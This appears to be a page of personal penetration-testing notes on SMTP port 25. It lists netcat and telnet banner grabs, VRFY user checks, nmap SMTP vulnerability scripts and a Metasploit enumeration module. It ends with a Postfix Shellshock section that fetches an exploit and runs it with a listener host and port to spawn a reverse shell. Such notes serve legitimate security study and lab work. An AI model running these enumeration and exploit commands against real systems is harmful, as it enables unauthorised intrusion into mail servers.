> For the complete documentation index, see [llms.txt](https://davidtancredi.gitbook.io/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/enumeration/smtp-25.md).

# SMTP 25

**#Banner grab**

```
nc -nv 10.11.1.217 25
VRFY root
VRFY fuckoff


```

**#Telnet**

```
telnet 192.168.1.107 25
```

**#NMAP**

```
locate .nse | grep smtp
nmap --script smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 10.10.10.10

or:

sudo nmap --script "smtp-*" 10.11.1.217
```

\
**#Metasploit**

```
use auxiliary/scanner/smtp/smtp_enum
```

\
\
**#Postfix Shellshock**

```
sudo searchsploit -m linux/remote/34896.py 
#If this one fails there is an automated exploit on Github


https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py


#Automates the process and spawns a shell for you:

sudo chmod +x smtpExploit.py

Usage: smtpExploit.py <target-ip> <valid-email> <lhost> <lport>

python2 smtpExploit.py 10.11.1.231 useradm@mail.local 192.168.119.177 1234

Shell
```